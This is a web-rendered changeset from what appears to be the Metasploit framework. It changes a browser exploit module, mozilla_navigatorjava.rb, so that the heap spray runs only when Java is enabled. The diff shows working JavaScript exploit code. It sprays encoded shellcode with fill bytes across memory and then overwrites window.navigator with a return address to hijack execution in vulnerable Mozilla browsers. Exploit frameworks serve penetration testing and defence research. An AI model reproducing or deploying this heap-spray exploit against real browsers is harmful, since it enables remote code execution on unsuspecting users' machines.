Changeset 5558

Show
Ignore:
Timestamp:
07/19/08 00:03:01 (3 months ago)
Author:
egypt
Message:

don't hang the browser building the exploit buffer if we can't exploit it

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework3/trunk/modules/exploits/multi/browser/mozilla_navigatorjava.rb

    r4646 r5558  
    9191                return if ((p = regenerate_payload(cli)) == nil) 
    9292 
    93                 print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") 
     93                print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") 
    9494                send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' }) 
    9595                 
     
    106106<script> 
    107107        function Exploit() { 
    108          
    109                 var shellcode = unescape("#{enc_code}"); 
    110                 var b = unescape("#{target['Fill']}"); 
    111                 while (b.length <= 0x400000) b+=b; 
     108               if (window.navigator.javaEnabled) { 
     109                       var shellcode = unescape("#{enc_code}"); 
     110                       var b = unescape("#{target['Fill']}"); 
     111                       while (b.length <= 0x400000) b+=b; 
    112112 
    113                 var c = new Array(); 
    114                 for (var i =0; i<36; i++) { 
    115                         c[i] =  
    116                                 b.substring(0,  0x100000 - shellcode.length) + shellcode + 
    117                                 b.substring(0,  0x100000 - shellcode.length) + shellcode +  
    118                                 b.substring(0,  0x100000 - shellcode.length) + shellcode +  
    119                                 b.substring(0,  0x100000 - shellcode.length) + shellcode; 
    120                
     113                       var c = new Array(); 
     114                       for (var i =0; i<36; i++) { 
     115                               c[i] =  
     116                                       b.substring(0,  0x100000 - shellcode.length) + shellcode + 
     117                                       b.substring(0,  0x100000 - shellcode.length) + shellcode +  
     118                                       b.substring(0,  0x100000 - shellcode.length) + shellcode +  
     119                                       b.substring(0,  0x100000 - shellcode.length) + shellcode; 
     120                       
    121121 
    122  
    123                 if (window.navigator.javaEnabled) { 
    124122                        window.navigator = (#{target['Ret']} / 2); 
    125123                        try {